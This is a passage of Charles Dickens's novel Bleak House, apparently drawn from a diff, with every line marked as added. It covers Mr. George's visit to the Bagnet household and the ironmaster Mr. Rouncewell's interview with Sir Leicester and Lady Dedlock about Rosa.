+the lawyer's table and three strides backward to resume his former
+station, where he stands perfectly upright, now looking at the ground
+and now at the painted ceiling, with his hands behind him as if to
+prevent himself from accepting any other document whatever.
+
+Under this provocation, Mr. Smallweed's favourite adjective of
+disparagement is so close to his tongue that he begins the words "my
+dear friend" with the monosyllable "brim," thus converting the
+possessive pronoun into brimmy and appearing to have an impediment in
+his speech. Once past this difficulty, however, he exhorts his dear
+friend in the tenderest manner not to be rash, but to do what so
+eminent a gentleman requires, and to do it with a good grace,
+confident that it must be unobjectionable as well as profitable. Mr.
+Tulkinghorn merely utters an occasional sentence, as, "You are the
+best judge of your own interest, sergeant." "Take care you do no harm
+by this." "Please yourself, please yourself." "If you know what you
+mean, that's quite enough." These he utters with an appearance of
+perfect indifference as he looks over the papers on his table and
+prepares to write a letter.
+
+Mr. George looks distrustfully from the painted ceiling to the
+ground, from the ground to Mr. Smallweed, from Mr. Smallweed to Mr.
+Tulkinghorn, and from Mr. Tulkinghorn to the painted ceiling again,
+often in his perplexity changing the leg on which he rests.
+
+"I do assure you, sir," says Mr. George, "not to say it offensively,
+that between you and Mr. Smallweed here, I really am being smothered
+fifty times over. I really am, sir. I am not a match for you
+gentlemen. Will you allow me to ask why you want to see the captain's
+hand, in the case that I could find any specimen of it?"
+
+Mr. Tulkinghorn quietly shakes his head. "No. If you were a man of
+business, sergeant, you would not need to be informed that there are
+confidential reasons, very harmless in themselves, for many such
+wants in the profession to which I belong. But if you are afraid of
+doing any injury to Captain Hawdon, you may set your mind at rest
+about that."
+
+"Aye! He is dead, sir."
+
+"IS he?" Mr. Tulkinghorn quietly sits down to write.
+
+"Well, sir," says the trooper, looking into his hat after another
+disconcerted pause, "I am sorry not to have given you more
+satisfaction. If it would be any satisfaction to any one that I
+should be confirmed in my judgment that I would rather have nothing
+to do with this by a friend of mine who has a better head for
+business than I have, and who is an old soldier, I am willing to
+consult with him. I--I really am so completely smothered myself at
+present," says Mr. George, passing his hand hopelessly across his
+brow, "that I don't know but what it might be a satisfaction to me."
+
+Mr. Smallweed, hearing that this authority is an old soldier, so
+strongly inculcates the expediency of the trooper's taking counsel
+with him, and particularly informing him of its being a question of
+five guineas or more, that Mr. George engages to go and see him. Mr.
+Tulkinghorn says nothing either way.
+
+"I'll consult my friend, then, by your leave, sir," says the trooper,
+"and I'll take the liberty of looking in again with the final answer
+in the course of the day. Mr. Smallweed, if you wish to be carried
+downstairs--"
+
+"In a moment, my dear friend, in a moment. Will you first let me
+speak half a word with this gentleman in private?"
+
+"Certainly, sir. Don't hurry yourself on my account." The trooper
+retires to a distant part of the room and resumes his curious
+inspection of the boxes, strong and otherwise.
+
+"If I wasn't as weak as a brimstone baby, sir," whispers Grandfather
+Smallweed, drawing the lawyer down to his level by the lapel of his
+coat and flashing some half-quenched green fire out of his angry
+eyes, "I'd tear the writing away from him. He's got it buttoned in
+his breast. I saw him put it there. Judy saw him put it there. Speak
+up, you crabbed image for the sign of a walking-stick shop, and say
+you saw him put it there!"
+
+This vehement conjuration the old gentleman accompanies with such a
+thrust at his granddaughter that it is too much for his strength, and
+he slips away out of his chair, drawing Mr. Tulkinghorn with him,
+until he is arrested by Judy, and well shaken.
+
+"Violence will not do for me, my friend," Mr. Tulkinghorn then
+remarks coolly.
+
+"No, no, I know, I know, sir. But it's chafing and
+galling--it's--it's worse than your smattering chattering magpie of a
+grandmother," to the imperturbable Judy, who only looks at the fire,
+"to know he has got what's wanted and won't give it up. He, not to
+give it up! HE! A vagabond! But never mind, sir, never mind. At the
+most, he has only his own way for a little while. I have him
+periodically in a vice. I'll twist him, sir. I'll screw him, sir. If
+he won't do it with a good grace, I'll make him do it with a bad one,
+sir! Now, my dear Mr. George," says Grandfather Smallweed, winking at
+the lawyer hideously as he releases him, "I am ready for your kind
+assistance, my excellent friend!"
+
+Mr. Tulkinghorn, with some shadowy sign of amusement manifesting
+itself through his self-possession, stands on the hearth-rug with his
+back to the fire, watching the disappearance of Mr. Smallweed and
+acknowledging the trooper's parting salute with one slight nod.
+
+It is more difficult to get rid of the old gentleman, Mr. George
+finds, than to bear a hand in carrying him downstairs, for when he is
+replaced in his conveyance, he is so loquacious on the subject of the
+guineas and retains such an affectionate hold of his button--having,
+in truth, a secret longing to rip his coat open and rob him--that
+some degree of force is necessary on the trooper's part to effect a
+separation. It is accomplished at last, and he proceeds alone in
+quest of his adviser.
+
+By the cloisterly Temple, and by Whitefriars (there, not without a
+glance at Hanging-Sword Alley, which would seem to be something in
+his way), and by Blackfriars Bridge, and Blackfriars Road, Mr. George
+sedately marches to a street of little shops lying somewhere in that
+ganglion of roads from Kent and Surrey, and of streets from the
+bridges of London, centring in the far-famed elephant who has lost
+his castle formed of a thousand four-horse coaches to a stronger iron
+monster than he, ready to chop him into mince-meat any day he dares.
+To one of the little shops in this street, which is a musician's
+shop, having a few fiddles in the window, and some Pan's pipes and a
+tambourine, and a triangle, and certain elongated scraps of music,
+Mr. George directs his massive tread. And halting at a few paces from
+it, as he sees a soldierly looking woman, with her outer skirts
+tucked up, come forth with a small wooden tub, and in that tub
+commence a-whisking and a-splashing on the margin of the pavement,
+Mr. George says to himself, "She's as usual, washing greens. I never
+saw her, except upon a baggage-waggon, when she wasn't washing
+greens!"
+
+The subject of this reflection is at all events so occupied in
+washing greens at present that she remains unsuspicious of Mr.
+George's approach until, lifting up herself and her tub together when
+she has poured the water off into the gutter, she finds him standing
+near her. Her reception of him is not flattering.
+
+"George, I never see you but I wish you was a hundred mile away!"
+
+The trooper, without remarking on this welcome, follows into the
+musical-instrument shop, where the lady places her tub of greens upon
+the counter, and having shaken hands with him, rests her arms upon
+it.
+
+"I never," she says, "George, consider Matthew Bagnet safe a minute
+when you're near him. You are that restless and that roving--"
+
+"Yes! I know I am, Mrs. Bagnet. I know I am."
+
+"You know you are!" says Mrs. Bagnet. "What's the use of that? WHY
+are you?"
+
+"The nature of the animal, I suppose," returns the trooper
+good-humouredly.
+
+"Ah!" cries Mrs. Bagnet, something shrilly. "But what satisfaction
+will the nature of the animal be to me when the animal shall have
+tempted my Mat away from the musical business to New Zealand or
+Australey?"
+
+Mrs. Bagnet is not at all an ill-looking woman. Rather large-boned, a
+little coarse in the grain, and freckled by the sun and wind which
+have tanned her hair upon the forehead, but healthy, wholesome, and
+bright-eyed. A strong, busy, active, honest-faced woman of from
+forty-five to fifty. Clean, hardy, and so economically dressed
+(though substantially) that the only article of ornament of which she
+stands possessed appear's to be her wedding-ring, around which her
+finger has grown to be so large since it was put on that it will
+never come off again until it shall mingle with Mrs. Bagnet's dust.
+
+"Mrs. Bagnet," says the trooper, "I am on my parole with you. Mat
+will get no harm from me. You may trust me so far."
+
+"Well, I think I may. But the very looks of you are unsettling," Mrs.
+Bagnet rejoins. "Ah, George, George! If you had only settled down and
+married Joe Pouch's widow when he died in North America, SHE'D have
+combed your hair for you."
+
+"It was a chance for me, certainly," returns the trooper half
+laughingly, half seriously, "but I shall never settle down into a
+respectable man now. Joe Pouch's widow might have done me good--there
+was something in her, and something of her--but I couldn't make up my
+mind to it. If I had had the luck to meet with such a wife as Mat
+found!"
+
+Mrs. Bagnet, who seems in a virtuous way to be under little reserve
+with a good sort of fellow, but to be another good sort of fellow
+herself for that matter, receives this compliment by flicking Mr.
+George in the face with a head of greens and taking her tub into the
+little room behind the shop.
+
+"Why, Quebec, my poppet," says George, following, on invitation, into
+that department. "And little Malta, too! Come and kiss your Bluffy!"
+
+These young ladies--not supposed to have been actually christened by
+the names applied to them, though always so called in the family from
+the places of their birth in barracks--are respectively employed on
+three-legged stools, the younger (some five or six years old) in
+learning her letters out of a penny primer, the elder (eight or nine
+perhaps) in teaching her and sewing with great assiduity. Both hail
+Mr. George with acclamations as an old friend and after some kissing
+and romping plant their stools beside him.
+
+"And how's young Woolwich?" says Mr. George.
+
+"Ah! There now!" cries Mrs. Bagnet, turning about from her saucepans
+(for she is cooking dinner) with a bright flush on her face. "Would
+you believe it? Got an engagement at the theayter, with his father,
+to play the fife in a military piece."
+
+"Well done, my godson!" cries Mr. George, slapping his thigh.
+
+"I believe you!" says Mrs. Bagnet. "He's a Briton. That's what
+Woolwich is. A Briton!"
+
+"And Mat blows away at his bassoon, and you're respectable civilians
+one and all," says Mr. George. "Family people. Children growing up.
+Mat's old mother in Scotland, and your old father somewhere else,
+corresponded with, and helped a little, and--well, well! To be sure,
+I don't know why I shouldn't be wished a hundred mile away, for I
+have not much to do with all this!"
+
+Mr. George is becoming thoughtful, sitting before the fire in the
+whitewashed room, which has a sanded floor and a barrack smell and
+contains nothing superfluous and has not a visible speck of dirt or
+dust in it, from the faces of Quebec and Malta to the bright tin pots
+and pannikins upon the dresser shelves--Mr. George is becoming
+thoughtful, sitting here while Mrs. Bagnet is busy, when Mr. Bagnet
+and young Woolwich opportunely come home. Mr. Bagnet is an
+ex-artilleryman, tall and upright, with shaggy eyebrows and whiskers
+like the fibres of a coco-nut, not a hair upon his head, and a torrid
+complexion. His voice, short, deep, and resonant, is not at all
+unlike the tones of the instrument to which he is devoted. Indeed
+there may be generally observed in him an unbending, unyielding,
+brass-bound air, as if he were himself the bassoon of the human
+orchestra. Young Woolwich is the type and model of a young drummer.
+
+Both father and son salute the trooper heartily. He saying, in due
+season, that he has come to advise with Mr. Bagnet, Mr. Bagnet
+hospitably declares that he will hear of no business until after
+dinner and that his friend shall not partake of his counsel without
+first partaking of boiled pork and greens. The trooper yielding to
+this invitation, he and Mr. Bagnet, not to embarrass the domestic
+preparations, go forth to take a turn up and down the little street,
+which they promenade with measured tread and folded arms, as if it
+were a rampart.
+
+"George," says Mr. Bagnet. "You know me. It's my old girl that
+advises. She has the head. But I never own to it before her.
+Discipline must be maintained. Wait till the greens is off her mind.
+Then we'll consult. Whatever the old girl says, do--do it!"
+
+"I intend to, Mat," replies the other. "I would sooner take her
+opinion than that of a college."
+
+"College," returns Mr. Bagnet in short sentences, bassoon-like. "What
+college could you leave--in another quarter of the world--with
+nothing but a grey cloak and an umbrella--to make its way home to
+Europe? The old girl would do it to-morrow. Did it once!"
+
+"You are right," says Mr. George.
+
+"What college," pursues Bagnet, "could you set up in life--with two
+penn'orth of white lime--a penn'orth of fuller's earth--a ha'porth of
+sand--and the rest of the change out of sixpence in money? That's
+what the old girl started on. In the present business."
+
+"I am rejoiced to hear it's thriving, Mat."
+
+"The old girl," says Mr. Bagnet, acquiescing, "saves. Has a stocking
+somewhere. With money in it. I never saw it. But I know she's got it.
+Wait till the greens is off her mind. Then she'll set you up."
+
+"She is a treasure!" exclaims Mr. George.
+
+"She's more. But I never own to it before her. Discipline must be
+maintained. It was the old girl that brought out my musical
+abilities. I should have been in the artillery now but for the old
+girl. Six years I hammered at the fiddle. Ten at the flute. The old
+girl said it wouldn't do; intention good, but want of flexibility;
+try the bassoon. The old girl borrowed a bassoon from the bandmaster
+of the Rifle Regiment. I practised in the trenches. Got on, got
+another, get a living by it!"
+
+George remarks that she looks as fresh as a rose and as sound as an
+apple.
+
+"The old girl," says Mr. Bagnet in reply, "is a thoroughly fine
+woman. Consequently she is like a thoroughly fine day. Gets finer as
+she gets on. I never saw the old girl's equal. But I never own to it
+before her. Discipline must be maintained!"
+
+Proceeding to converse on indifferent matters, they walk up and down
+the little street, keeping step and time, until summoned by Quebec
+and Malta to do justice to the pork and greens, over which Mrs.
+Bagnet, like a military chaplain, says a short grace. In the
+distribution of these comestibles, as in every other household duty,
+Mrs. Bagnet developes an exact system, sitting with every dish before
+her, allotting to every portion of pork its own portion of
+pot-liquor, greens, potatoes, and even mustard, and serving it out
+complete. Having likewise served out the beer from a can and thus
+supplied the mess with all things necessary, Mrs. Bagnet proceeds to
+satisfy her own hunger, which is in a healthy state. The kit of the
+mess, if the table furniture may be so denominated, is chiefly
+composed of utensils of horn and tin that have done duty in several
+parts of the world. Young Woolwich's knife, in particular, which is
+of the oyster kind, with the additional feature of a strong
+shutting-up movement which frequently balks the appetite of that
+young musician, is mentioned as having gone in various hands the
+complete round of foreign service.
+
+The dinner done, Mrs. Bagnet, assisted by the younger branches (who
+polish their own cups and platters, knives and forks), makes all the
+dinner garniture shine as brightly as before and puts it all away,
+first sweeping the hearth, to the end that Mr. Bagnet and the visitor
+may not be retarded in the smoking of their pipes. These household
+cares involve much pattening and counter-pattening in the backyard
+and considerable use of a pail, which is finally so happy as to
+assist in the ablutions of Mrs. Bagnet herself. That old girl
+reappearing by and by, quite fresh, and sitting down to her
+needlework, then and only then--the greens being only then to be
+considered as entirely off her mind--Mr. Bagnet requests the trooper
+to state his case.
+
+This Mr. George does with great discretion, appearing to address
+himself to Mr. Bagnet, but having an eye solely on the old girl all
+the time, as Bagnet has himself. She, equally discreet, busies
+herself with her needlework. The case fully stated, Mr. Bagnet
+resorts to his standard artifice for the maintenance of discipline.
+
+"That's the whole of it, is it, George?" says he.
+
+"That's the whole of it."
+
+"You act according to my opinion?"
+
+"I shall be guided," replies George, "entirely by it."
+
+"Old girl," says Mr. Bagnet, "give him my opinion. You know it. Tell
+him what it is."
+
+It is that he cannot have too little to do with people who are too
+deep for him and cannot be too careful of interference with matters
+he does not understand--that the plain rule is to do nothing in the
+dark, to be a party to nothing underhanded or mysterious, and never
+to put his foot where he cannot see the ground. This, in effect, is
+Mr. Bagnet's opinion, as delivered through the old girl, and it so
+relieves Mr. George's mind by confirming his own opinion and
+banishing his doubts that he composes himself to smoke another pipe
+on that exceptional occasion and to have a talk over old times with
+the whole Bagnet family, according to their various ranges of
+experience.
+
+Through these means it comes to pass that Mr. George does not again
+rise to his full height in that parlour until the time is drawing on
+when the bassoon and fife are expected by a British public at the
+theatre; and as it takes time even then for Mr. George, in his
+domestic character of Bluffy, to take leave of Quebec and Malta and
+insinuate a sponsorial shilling into the pocket of his godson with
+felicitations on his success in life, it is dark when Mr. George
+again turns his face towards Lincoln's Inn Fields.
+
+"A family home," he ruminates as he marches along, "however small it
+is, makes a man like me look lonely. But it's well I never made that
+evolution of matrimony. I shouldn't have been fit for it. I am such a
+vagabond still, even at my present time of life, that I couldn't hold
+to the gallery a month together if it was a regular pursuit or if I
+didn't camp there, gipsy fashion. Come! I disgrace nobody and cumber
+nobody; that's something. I have not done that for many a long year!"
+
+So he whistles it off and marches on.
+
+Arrived in Lincoln's Inn Fields and mounting Mr. Tulkinghorn's stair,
+he finds the outer door closed and the chambers shut, but the trooper
+not knowing much about outer doors, and the staircase being dark
+besides, he is yet fumbling and groping about, hoping to discover a
+bell-handle or to open the door for himself, when Mr. Tulkinghorn
+comes up the stairs (quietly, of course) and angrily asks, "Who is
+that? What are you doing there?"
+
+"I ask your pardon, sir. It's George. The sergeant."
+
+"And couldn't George, the sergeant, see that my door was locked?"
+
+"Why, no, sir, I couldn't. At any rate, I didn't," says the trooper,
+rather nettled.
+
+"Have you changed your mind? Or are you in the same mind?" Mr.
+Tulkinghorn demands. But he knows well enough at a glance.
+
+"In the same mind, sir."
+
+"I thought so. That's sufficient. You can go. So you are the man,"
+says Mr. Tulkinghorn, opening his door with the key, "in whose
+hiding-place Mr. Gridley was found?"
+
+"Yes, I AM the man," says the trooper, stopping two or three stairs
+down. "What then, sir?"
+
+"What then? I don't like your associates. You should not have seen
+the inside of my door this morning if I had thought of your being
+that man. Gridley? A threatening, murderous, dangerous fellow."
+
+With these words, spoken in an unusually high tone for him, the
+lawyer goes into his rooms and shuts the door with a thundering
+noise.
+
+Mr. George takes his dismissal in great dudgeon, the greater because
+a clerk coming up the stairs has heard the last words of all and
+evidently applies them to him. "A pretty character to bear," the
+trooper growls with a hasty oath as he strides downstairs. "A
+threatening, murderous, dangerous fellow!" And looking up, he sees
+the clerk looking down at him and marking him as he passes a lamp.
+This so intensifies his dudgeon that for five minutes he is in an ill
+humour. But he whistles that off like the rest of it and marches home
+to the shooting gallery.
+
+
+
+
+CHAPTER XXVIII
+
+The Ironmaster
+
+
+Sir Leicester Dedlock has got the better, for the time being, of the
+family gout and is once more, in a literal no less than in a
+figurative point of view, upon his legs. He is at his place in
+Lincolnshire; but the waters are out again on the low-lying grounds,
+and the cold and damp steal into Chesney Wold, though well defended,
+and eke into Sir Leicester's bones. The blazing fires of faggot and
+coal--Dedlock timber and antediluvian forest--that blaze upon the
+broad wide hearths and wink in the twilight on the frowning woods,
+sullen to see how trees are sacrificed, do not exclude the enemy. The
+hot-water pipes that trail themselves all over the house, the
+cushioned doors and windows, and the screens and curtains fail to
+supply the fires' deficiencies and to satisfy Sir Leicester's need.
+Hence the fashionable intelligence proclaims one morning to the
+listening earth that Lady Dedlock is expected shortly to return to
+town for a few weeks.
+
+It is a melancholy truth that even great men have their poor
+relations. Indeed great men have often more than their fair share of
+poor relations, inasmuch as very red blood of the superior quality,
+like inferior blood unlawfully shed, WILL cry aloud and WILL be
+heard. Sir Leicester's cousins, in the remotest degree, are so many
+murders in the respect that they "will out." Among whom there are
+cousins who are so poor that one might almost dare to think it would
+have been the happier for them never to have been plated links upon
+the Dedlock chain of gold, but to have been made of common iron at
+first and done base service.
+
+Service, however (with a few limited reservations, genteel but not
+profitable), they may not do, being of the Dedlock dignity. So they
+visit their richer cousins, and get into debt when they can, and live
+but shabbily when they can't, and find--the women no husbands, and
+the men no wives--and ride in borrowed carriages, and sit at feasts
+that are never of their own making, and so go through high life. The
+rich family sum has been divided by so many figures, and they are the
+something over that nobody knows what to do with.
+
+Everybody on Sir Leicester Dedlock's side of the question and of his
+way of thinking would appear to be his cousin more or less. From my
+Lord Boodle, through the Duke of Foodle, down to Noodle, Sir
+Leicester, like a glorious spider, stretches his threads of
+relationship. But while he is stately in the cousinship of the
+Everybodys, he is a kind and generous man, according to his dignified
+way, in the cousinship of the Nobodys; and at the present time, in
+despite of the damp, he stays out the visit of several such cousins
+at Chesney Wold with the constancy of a martyr.
+
+Of these, foremost in the front rank stands Volumnia Dedlock, a young
+lady (of sixty) who is doubly highly related, having the honour to be
+a poor relation, by the mother's side, to another great family. Miss
+Volumnia, displaying in early life a pretty talent for cutting
+ornaments out of coloured paper, and also for singing to the guitar
+in the Spanish tongue, and propounding French conundrums in country
+houses, passed the twenty years of her existence between twenty and
+forty in a sufficiently agreeable manner. Lapsing then out of date
+and being considered to bore mankind by her vocal performances in the
+Spanish language, she retired to Bath, where she lives slenderly on
+an annual present from Sir Leicester and whence she makes occasional
+resurrections in the country houses of her cousins. She has an
+extensive acquaintance at Bath among appalling old gentlemen with
+thin legs and nankeen trousers, and is of high standing in that
+dreary city. But she is a little dreaded elsewhere in consequence of
+an indiscreet profusion in the article of rouge and persistency in an
+obsolete pearl necklace like a rosary of little bird's-eggs.
+
+In any country in a wholesome state, Volumnia would be a clear case
+for the pension list. Efforts have been made to get her on it, and
+when William Buffy came in, it was fully expected that her name would
+be put down for a couple of hundred a year. But William Buffy somehow
+discovered, contrary to all expectation, that these were not the
+times when it could be done, and this was the first clear indication
+Sir Leicester Dedlock had conveyed to him that the country was going
+to pieces.
+
+There is likewise the Honourable Bob Stables, who can make warm
+mashes with the skill of a veterinary surgeon and is a better shot
+than most gamekeepers. He has been for some time particularly
+desirous to serve his country in a post of good emoluments,
+unaccompanied by any trouble or responsibility. In a well-regulated
+body politic this natural desire on the part of a spirited young
+gentleman so highly connected would be speedily recognized, but
+somehow William Buffy found when he came in that these were not times
+in which he could manage that little matter either, and this was the
+second indication Sir Leicester Dedlock had conveyed to him that the
+country was going to pieces.
+
+The rest of the cousins are ladies and gentlemen of various ages and
+capacities, the major part amiable and sensible and likely to have
+done well enough in life if they could have overcome their
+cousinship; as it is, they are almost all a little worsted by it, and
+lounge in purposeless and listless paths, and seem to be quite as
+much at a loss how to dispose of themselves as anybody else can be
+how to dispose of them.
+
+In this society, and where not, my Lady Dedlock reigns supreme.
+Beautiful, elegant, accomplished, and powerful in her little world
+(for the world of fashion does not stretch ALL the way from pole to
+pole), her influence in Sir Leicester's house, however haughty and
+indifferent her manner, is greatly to improve it and refine it. The
+cousins, even those older cousins who were paralysed when Sir
+Leicester married her, do her feudal homage; and the Honourable Bob
+Stables daily repeats to some chosen person between breakfast and
+lunch his favourite original remark, that she is the best-groomed
+woman in the whole stud.
+
+Such the guests in the long drawing-room at Chesney Wold this dismal
+night when the step on the Ghost's Walk (inaudible here, however)
+might be the step of a deceased cousin shut out in the cold. It is
+near bed-time. Bedroom fires blaze brightly all over the house,
+raising ghosts of grim furniture on wall and ceiling. Bedroom
+candlesticks bristle on the distant table by the door, and cousins
+yawn on ottomans. Cousins at the piano, cousins at the soda-water
+tray, cousins rising from the card-table, cousins gathered round the
+fire. Standing on one side of his own peculiar fire (for there are
+two), Sir Leicester. On the opposite side of the broad hearth, my
+Lady at her table. Volumnia, as one of the more privileged cousins,
+in a luxurious chair between them. Sir Leicester glancing, with
+magnificent displeasure, at the rouge and the pearl necklace.
+
+"I occasionally meet on my staircase here," drawls Volumnia, whose
+thoughts perhaps are already hopping up it to bed, after a long
+evening of very desultory talk, "one of the prettiest girls, I think,
+that I ever saw in my life."
+
+"A PROTEGEE of my Lady's," observes Sir Leicester.
+
+"I thought so. I felt sure that some uncommon eye must have picked
+that girl out. She really is a marvel. A dolly sort of beauty
+perhaps," says Miss Volumnia, reserving her own sort, "but in its
+way, perfect; such bloom I never saw!"
+
+Sir Leicester, with his magnificent glance of displeasure at the
+rouge, appears to say so too.
+
+"Indeed," remarks my Lady languidly, "if there is any uncommon eye in
+the case, it is Mrs. Rouncewell's, and not mine. Rosa is her
+discovery."
+
+"Your maid, I suppose?"
+
+"No. My anything; pet--secretary--messenger--I don't know what."
+
+"You like to have her about you, as you would like to have a flower,
+or a bird, or a picture, or a poodle--no, not a poodle, though--or
+anything else that was equally pretty?" says Volumnia, sympathizing.
+"Yes, how charming now! And how well that delightful old soul Mrs.
+Rouncewell is looking. She must be an immense age, and yet she is as
+active and handsome! She is the dearest friend I have, positively!"
+
+Sir Leicester feels it to be right and fitting that the housekeeper
+of Chesney Wold should be a remarkable person. Apart from that, he
+has a real regard for Mrs. Rouncewell and likes to hear her praised.
+So he says, "You are right, Volumnia," which Volumnia is extremely
+glad to hear.
+
+"She has no daughter of her own, has she?"
+
+"Mrs. Rouncewell? No, Volumnia. She has a son. Indeed, she had two."
+
+My Lady, whose chronic malady of boredom has been sadly aggravated by
+Volumnia this evening, glances wearily towards the candlesticks and
+heaves a noiseless sigh.
+
+"And it is a remarkable example of the confusion into which the
+present age has fallen; of the obliteration of landmarks, the opening
+of floodgates, and the uprooting of distinctions," says Sir Leicester
+with stately gloom, "that I have been informed by Mr. Tulkinghorn
+that Mrs. Rouncewell's son has been invited to go into Parliament."
+
+Miss Volumnia utters a little sharp scream.
+
+"Yes, indeed," repeats Sir Leicester. "Into Parliament."
+
+"I never heard of such a thing! Good gracious, what is the man?"
+exclaims Volumnia.
+
+"He is called, I believe--an--ironmaster." Sir Leicester says it
+slowly and with gravity and doubt, as not being sure but that he is
+called a lead-mistress or that the right word may be some other word
+expressive of some other relationship to some other metal.
+
+Volumnia utters another little scream.
+
+"He has declined the proposal, if my information from Mr. Tulkinghorn
+be correct, as I have no doubt it is. Mr. Tulkinghorn being always
+correct and exact; still that does not," says Sir Leicester, "that
+does not lessen the anomaly, which is fraught with strange
+considerations--startling considerations, as it appears to me."
+
+Miss Volumnia rising with a look candlestick-wards, Sir Leicester
+politely performs the grand tour of the drawing-room, brings one, and
+lights it at my Lady's shaded lamp.
+
+"I must beg you, my Lady," he says while doing so, "to remain a few
+moments, for this individual of whom I speak arrived this evening
+shortly before dinner and requested in a very becoming note"--Sir
+Leicester, with his habitual regard to truth, dwells upon it--"I am
+bound to say, in a very becoming and well-expressed note, the favour
+of a short interview with yourself and MYself on the subject of this
+young girl. As it appeared that he wished to depart to-night, I
+replied that we would see him before retiring."
+
+Miss Volumnia with a third little scream takes flight, wishing her
+hosts--O Lud!--well rid of the--what is it?--ironmaster!
+
+The other cousins soon disperse, to the last cousin there. Sir
+Leicester rings the bell, "Make my compliments to Mr. Rouncewell, in
+the housekeeper's apartments, and say I can receive him now."
+
+My Lady, who has heard all this with slight attention outwardly,
+looks towards Mr. Rouncewell as he comes in. He is a little over
+fifty perhaps, of a good figure, like his mother, and has a clear
+voice, a broad forehead from which his dark hair has retired, and a
+shrewd though open face. He is a responsible-looking gentleman
+dressed in black, portly enough, but strong and active. Has a
+perfectly natural and easy air and is not in the least embarrassed by
+the great presence into which he comes.
+
+"Sir Leicester and Lady Dedlock, as I have already apologized for
+intruding on you, I cannot do better than be very brief. I thank you,
+Sir Leicester."
+
+The head of the Dedlocks has motioned towards a sofa between himself
+and my Lady. Mr. Rouncewell quietly takes his seat there.
+
+"In these busy times, when so many great undertakings are in
+progress, people like myself have so many workmen in so many places
+that we are always on the flight."
+
+Sir Leicester is content enough that the ironmaster should feel that
+there is no hurry there; there, in that ancient house, rooted in that
+quiet park, where the ivy and the moss have had time to mature, and
+the gnarled and warted elms and the umbrageous oaks stand deep in the
+fern and leaves of a hundred years; and where the sun-dial on the
+terrace has dumbly recorded for centuries that time which was as much
+the property of every Dedlock--while he lasted--as the house and
+lands. Sir Leicester sits down in an easy-chair, opposing his repose
+and that of Chesney Wold to the restless flights of ironmasters.
+
+"Lady Dedlock has been so kind," proceeds Mr. Rouncewell with a
+respectful glance and a bow that way, "as to place near her a young
+beauty of the name of Rosa. Now, my son has fallen in love with Rosa
+and has asked my consent to his proposing marriage to her and to
+their becoming engaged if she will take him--which I suppose she
+will. I have never seen Rosa until to-day, but I have some confidence
+in my son's good sense--even in love. I find her what he represents
+her, to the best of my judgment; and my mother speaks of her with
+great commendation."
+
+"She in all respects deserves it," says my Lady.
+
+"I am happy, Lady Dedlock, that you say so, and I need not comment on
+the value to me of your kind opinion of her."
+
+"That," observes Sir Leicester with unspeakable grandeur, for he
+thinks the ironmaster a little too glib, "must be quite unnecessary."
+
+"Quite unnecessary, Sir Leicester. Now, my son is a very young man,
+and Rosa is a very young woman. As I made my way, so my son must make
+his; and his being married at present is out of the question. But
+supposing I gave my consent to his engaging himself to this pretty
+girl, if this pretty girl will engage herself to him, I think it a
+piece of candour to say at once--I am sure, Sir Leicester and Lady
+Dedlock, you will understand and excuse me--I should make it a
+condition that she did not remain at Chesney Wold. Therefore, before
+communicating further with my son, I take the liberty of saying that
+if her removal would be in any way inconvenient or objectionable, I
+will hold the matter over with him for any reasonable time and leave
+it precisely where it is."
+
+Not remain at Chesney Wold! Make it a condition! All Sir Leicester's
+old misgivings relative to Wat Tyler and the people in the iron
+districts who do nothing but turn out by torchlight come in a shower
+upon his head, the fine grey hair of which, as well as of his
+whiskers, actually stirs with indignation.
+
+"Am I to understand, sir," says Sir Leicester, "and is my Lady to
+understand"--he brings her in thus specially, first as a point of
+gallantry, and next as a point of prudence, having great reliance on
+her sense--"am I to understand, Mr. Rouncewell, and is my Lady to
+understand, sir, that you consider this young woman too good for
+Chesney Wold or likely to be injured by remaining here?"
+
+"Certainly not, Sir Leicester,"
+
+"I am glad to hear it." Sir Leicester very lofty indeed.
+
+"Pray, Mr. Rouncewell," says my Lady, warning Sir Leicester off with
+the slightest gesture of her pretty hand, as if he were a fly,
+"explain to me what you mean."
+
+"Willingly, Lady Dedlock. There is nothing I could desire more."
+
+Addressing her composed face, whose intelligence, however, is too
+quick and active to be concealed by any studied impassiveness,
+however habitual, to the strong Saxon face of the visitor, a picture
+of resolution and perseverance, my Lady listens with attention,
+occasionally slightly bending her head.
+
+"I am the son of your housekeeper, Lady Dedlock, and passed my
+childhood about this house. My mother has lived here half a
+century and will die here I have no doubt. She is one of those
+examples--perhaps as good a one as there is--of love, and attachment,
+and fidelity in such a nation, which England may well be proud of,
+but of which no order can appropriate the whole pride or the whole
+merit, because such an instance bespeaks high worth on two sides--on
+the great side assuredly, on the small one no less assuredly."
+
+Sir Leicester snorts a little to hear the law laid down in this way,
+but in his honour and his love of truth, he freely, though silently,
+admits the justice of the ironmaster's proposition.
+
+"Pardon me for saying what is so obvious, but I wouldn't have it
+hastily supposed," with the least turn of his eyes towards Sir
+Leicester, "that I am ashamed of my mother's position here, or
+wanting in all just respect for Chesney Wold and the family.
+I certainly may have desired--I certainly have desired, Lady
+Dedlock--that my mother should retire after so many years and end
+her days with me. But as I have found that to sever this strong bond
+would be to break her heart, I have long abandoned that idea."
+
+Sir Leicester very magnificent again at the notion of Mrs. Rouncewell
+being spirited off from her natural home to end her days with an
+ironmaster.
+
+"I have been," proceeds the visitor in a modest, clear way, "an
+apprentice and a workman. I have lived on workman's wages, years and
+years, and beyond a certain point have had to educate myself. My wife
+was a foreman's daughter, and plainly brought up. We have three
+daughters besides this son of whom I have spoken, and being
+fortunately able to give them greater advantages than we have had
+ourselves, we have educated them well, very well. It has been one of
+our great cares and pleasures to make them worthy of any station."
+
+A little boastfulness in his fatherly tone here, as if he added in
+his heart, "even of the Chesney Wold station." Not a little more
+magnificence, therefore, on the part of Sir Leicester.
+
+"All this is so frequent, Lady Dedlock, where I live, and among the
+class to which I belong, that what would be generally called unequal
+marriages are not of such rare occurrence with us as elsewhere. A son
+will sometimes make it known to his father that he has fallen in
+love, say, with a young woman in the factory. The father, who once
+worked in a factory himself, will be a little disappointed at first
+very possibly. It may be that he had other views for his son.
+However, the chances are that having ascertained the young woman to
+be of unblemished character, he will say to his son, 'I must be quite
+sure you are in earnest here. This is a serious matter for both of
+you. Therefore I shall have this girl educated for two years,' or it
+may be, 'I shall place this girl at the same school with your sisters
+for such a time, during which you will give me your word and honour
+to see her only so often. If at the expiration of that time, when she
+has so far profited by her advantages as that you may be upon a fair
+equality, you are both in the same mind, I will do my part to make
+you happy.' I know of several cases such as I describe, my Lady, and
+I think they indicate to me my own course now."
+
+Sir Leicester's magnificence explodes. Calmly, but terribly.
+
+"Mr. Rouncewell," says Sir Leicester with his right hand in the
